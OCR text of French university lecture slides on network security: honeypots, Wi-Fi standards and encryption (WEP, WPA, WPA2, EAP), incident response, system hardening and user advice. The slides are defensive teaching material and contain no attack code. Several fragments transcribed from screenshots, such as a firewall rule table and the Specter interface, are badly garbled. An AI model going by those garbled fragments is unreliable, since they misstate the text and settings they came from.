Inceming 1 () LectewrWindows Media 7 ask o pemit P ask ' pemit
== @) Microsoft Help and Supp.. 2 ask 7 ask 7 ak +# permit
1 Microsoft Help Center H 9 ask o pemit 7 ask + permit
] tiddd 7 ask 7 ask 2 ask % deny
B skupe.ore 2 sk 2 ask 7 ask + pemit b
e || L Chargel_.| [TerDeFegesStandor s [l —
i
Réduition Quiter Py dide |
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L es honeypots
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Mise en ceuvre d'un « honeypot »

 Un « honeypot » est une machine connectée au réseau et
volontairement de sécurité faible.

* Objectifs:
— Distraire un attaquant pour protéger des machines plus sensibles.
— Deécouvrir de nouvelles techniques d’attaques, de nouveaux outils,

* Quelgues exemples de mise en ceuvre:
— le projet honeynet
http://www.honeynet.org
— European Network of Affined Honeypots
http://www.fp6-noah.org/
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Honeypot

e Un « honeypot » peut etre une machine simple sans
sécurité (par exemple sans mot de passe
administrateur).

* Un logiciel permettant de gérer des hotes virtuels et
de simuler des piles TCP/IP différentes.

e Une liste de logiciels d'honeypot:
http.//www.honeypots.net/honeypots/products
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Honeypots a faible interaction

* Récolte d’'informations a moindre risque

* Quelgues exemples:
— honeyd http://www.honeyd.org
— honeytrap http://honeytrap.mwcollect.org/
— sepenthes http://www.mwcollect.org/
— Specter (commercial) http://www.specter.com
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Specter, un honeypot commercial

Specter Control [E1E]

Engne Version: [] 800
Thieads 7
Caneections sotai: 0
-~ Dperaimg System—— - Services Trape Natiication
€ Random e FTP ]| = pons 2] | ¥ incidentoe 7|
 Windows 98 ¥ TELNET 2 = mers 2] | @ detma 2l
© Windows NT ¥ SMTP 2| "osunArC  2|| | Shetmal Jii|
" Windows 2003 17 FINGER 2| @ ossH 2| | P staama 2]
. Wik P R HTTP 2] |~ suB? 2| | Eventiog 2| f CHEEE T
ine Mesiages [ Enors oreidcions
L W ONETEUS 7] @ BOX 2| Sushon B =
: Mac05 % & PO 2| @ oeeerc 2 R Staut Engine J Recenfigue | Load | Aboul |
Liny
. . W Provide mals Stop Engi Log Anall S L
MacOS§ p Solaris  Solais Generio Traphiame 7 Stencer 2 stk J 0 e | S | = |
- : el /.
; ; . iy  NexTStep ;‘Fx:e 2 ] Siercet Confipustion| | Host Name [othenamteds 3] User Conliguraiion | 2|
MacOS X / Tru64 © Tl P Ticofrgn 2| | omelsPat | ————————— | SyemName;  [o0TROST 2 | Newek ot | 21
Wi - g Al W C liin 12cs Finget [ 6eo7 ¥ Markeis [ ke Venceil 2 ok Lorpasen
VI > £\ : i © Urisgs nix wpasan 1| o tegdmessae | \uiSeves P Adaess: [T 50 2] i chtgin] 7]
- ) P ioNe Leden 21| piliTs i
Windows XP = :‘F"x o i ae o | et 2] | Ml addess ranr@iedtecom 7| Inchide setings mmals 7|
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Honeypots a forte interaction

e Donnent de véritables acces a des
attaquants.

e Risques beaucoup plus importants
impliguant un déploiement prudent.

HoneyNet Production
f [
 Exemple: TS/ ‘ ‘
— ROO HoneyWall sl
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Wifi et sécurite
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WIFI. présentation et sécurité

* Wireless Fldelity

e Norme internationale 802.11 maintenue
par I'lEEE.

« Normes actuelles:
—802.11b (WiFi) 2,4 Ghz, 11 Mb/s
—802.11a (WiFi 5) 5 Ghz, 54 Mb/s
—802.119g 2,4 Ghz, 54 Mb/s
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Avantage des connexions sans fil

* Plus de cables, de répéteurs, ...
e Facilité d’extension du réseau.

e Facilite la mobillite.

e Traverse les obstacles

o Intéressant pour monter des réseaux
temporaires.
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Modes de communication

Mode infrastructure Mode AD HOC
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Wi-Fi: la réglementation

L'utilisation des frequences est normalisee par 'ETSI
(European Telecommunications Standard Institute).

Cette normalisation est soumise a I'agrement
d'organismes nationaux; en France par 'ART
(Autorité de Regulation des Télecommunications):
http://www.art-telecom.fr

Pas d’homogénéisation de la disponibilité des
fréquences au niveau européen.
En France, libéralisation de I'utilisation des

frequences (France hexagonale) depuis le 24 juillet
2003 (communiqué de 'ART).
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Ce qui est interdit

 Auditer,surveiller, écouter un réseau sans
autorisation est illégal.

« Le Wardriving (extension du Wardialing) est illégal
(sport mondial jusqu'en 2004 sur
http://www.worldwidewardrive.org) .

« Le warchalking (http://www.warchalking.org/) est

i I I ég a.l . let's warchalk.. )
Ve . . . o L!Xw:u'h
e Deéni de services (brouillage, T A
Saturation) PP R
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Les nouveaux risques

Plus de limite physique au réseau.

Equivalent a avoir une prise réseau sur le
trottoir.

Possibilité de capter le signal assez loin.

e Déni de services aise.
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Les conséquences

Ecoute et interception de trafics

Insertion de trafic

Introduction d'une station illicite sur le réseau

rebonds
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Sécurisation des points d'acces

 Changer les mots de passe par défaut.
e Désactiver les services inutiles (telnet, snmp,

* Régler la puissance d'émission au minimum
nécessaire.

* Mettre a jour le "firmware" au fur et a mesure
des mises a jours.

o Sécuriser |I'acces physigque des points
d'acces.
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Le chiffrement WEP

e Historiquement le premier chiffrement utilisé par le WiFi.

« Chiffrement symétrique des trames 802.11 utilisant I'algorithme
RC4 avec des clés de 64 ou 128 bits.

* Les 24 premiers bits servent pour l'initialisation diminuant
d'autant la taille de la cle.

« La clé doit étre partagee par tous les equipements.

« Cet algorithme de chiffrement est tres insuffisant.
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Le chiffrement WPA

* Le chiffrement WPA repose sur des protocoles d'authentification
et un algorithme de chiffrement robuste: TKIP (Temporary Key
Integrity Protocol) qui introduit un chiffrement par paquet et un
changement automatique des clés de chiffrement.

» WPA repose sur un serveur d'authentification (genéralement un
serveur RADIUS, Remote Authentification Dial-in User Service)
permettant d'identifier les utilisateurs et de leur définir des droits.

e Pour les petits réseaux, une version restreinte du protocole est
appeléee WPA-PSK (Pre Share Key) nécessitant de déployer
une méme clé de chiffrement (pass phrase) pour tous les
équipements.
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Le chiffrement WPA2

 Lanorme 802.11i a été ratifiée le 24 juin
2004,

o La certification WPA2 a été créee par la
Wi-Fi Alliance.

 WPAZ2 utilise I'algorithme AES
(Advanced Encryption Standard).
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| 'authentification

e Authentification par adresse MAC est peu sécurisée.

* Le protocole 802.1X définit une encapsulation de EAP

(Extensible Authentification Protocol) au dessus du protocole
IEEE 802.11

» Différentes variantes du protocole EAP:

Protocole EAP-MD5 (EAP - Message Digest 5) ;
protocole LEAP (Lightweight EAP) developpé par Cisco ;

protocole EAP-TLS (EAP - Transport Layer Security) cree par
Microsoft et accepté sous la norme RFC 2716 ;

protocole EAP-TTLS (EAP - Tunneled Transport Layer Security)
developpé par Funk Software et Certicom ;

protocole PEAP (Protected EAP) developpé par Microsoft, Cisco et
RSA Security ...
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| 'authentification

« EAP-TLS authentifie les deux parties
par des certificats; le serveur présente
un certificat, le client le valide et
présente a son tour son certificat.

 PEAP utilisé avec MS-CHAPV2 requiert
un certificat coté serveur et un couple
login/mot de passe coOté client.
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Que faire en cas d'intrusion

Pas de réponse unique:

— Débrancher ou non la machine (souhaite t'on decouvrir
les méthodes utilisées par l'intrus ?)

Sauvegarder la machine en |'état afin de pouvoir I'analyser
a posteriori.

Reformater et reinstaller le systeme a partir d'une
sauvegarde saine.

Modifier les mots de passe utilisateurs et les éventuelles
clés de chiffrement.

Ne pas donner d'informations sur l'incident a des tiers non
directement concernés.

Etre vigilant, I'intrus reviendra probablement.
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Qui prevenir en cas
d'incidents

e La direction (seule habilitée a porter plainte).
* Le responsable sécurité du site.

 un CERT (Computer Emergency Response
Team)

* Une plainte pourra étre deposée en fonction
de la nature et de la gravité de l'incident.
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Installation/Administration

» Beaucoup de vigilance est nécessaire lors de l'installation et de
I'administration de systemes informatiques.

* L'installation par défaut de logiciels peut étre source de problemes.
Exemple: l'installation par défaut d'apache donne acces a

guelques cgi-bin

— pas necessairement utiles a l'exploitation du site.

— donne des informations sur le site (test-cgi, printenv, ...)

— peut étre source de failles
Exemple de scanner de cgi: whisker
http.//the.wiretapped.net/security/vulnerability-scanning/whisker/
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Installation/Administration

Protection physique des equipements.

Intégration des objectifs "securité" dans les choix de
réseaux et des systemes d'exploitation.

Localiser et ne laisser ouvert que les services
Indispensables.

Fermer les comptes inutilisés.
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Installation/Administration

e Se tenir informer des vulnérabilités.
o Passer regulierement les correctifs.

 |Installer les outils nécessaires (contrdle
d'authentification, audits, ...)

* Consulter régulierement le journal généeré par
ces oultils.

e Informer ses utilisateurs.
 Cryptage des informations
e etc
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Consells aux utilisateurs

Responsabilité d'un compte informatique (personnel
et incessible).

Désactiver les aspects dynamigues des navigateurs
(Java, Active X, ...).

Mot de passe sir et protége.

Prudence avec les fichiers attachés des courriers
électroniques, avec les logiciels « gadgets », ...

06/10/2008 - ENSICAEN -  (c)dp 271



F—=

ENSICAEN

(030 ALY SR VN O
W CENTRE JE EEKIRORE

Conclusions

« Aucune securité n'est parfaite. On définit juste un seuil.

« Des outils sont nécessaires, mais le travail quotidien est
indispensable.

« Le niveau de sécurité d'un site est celui de son maillon le plus
faible.

e La sécurité n‘apporte qu'un gain indirect. Par conséquent, il
n'est pas facile de convaincre les décideurs de I'entreprise.

06/10/2008 - ENSICAEN -  (c)dp 272



F—=

ENSICAEN

(030 ALY SR VN O
W CENTRE JE EEKIRORE

Conclusions

Le seul systeme informatique qui est
vraiment sUr est un systeme éteint et
débranche, enfermé dans un blockhaus sous
terre, entouré par des gaz mortels et des
gardiens hautement payés et armés. Méme
dans ces conditions, je ne parierais pas ma
vie dessus.

(c) Gene Spafford, fondateur et directeur du
"Computer Operations, Audit and Security
Technology Laboratory.
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Annexe 1: quelgues URL

o http://www.securityfocus.com
 http://www.sans.org
 http://www.hoobie.net
 http://packetstorm.security.org
 http://www.rootshell.com

e http://www.frsirt.coml

e et beaucoup d'autres ....
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Annexe 2 : Réeférences
bibliographiques

 Halte aux hackers, Stuart McClure

o Détection des intrusions réseaux, Stephen
Northcutt

* Le guide anti hacker,

e Sécurité optimale

* Firewall et sécurité Internet, S.M. Bellovin

« Rapport Lasbordes

e Magazines misc (http://www.miscmag.com)
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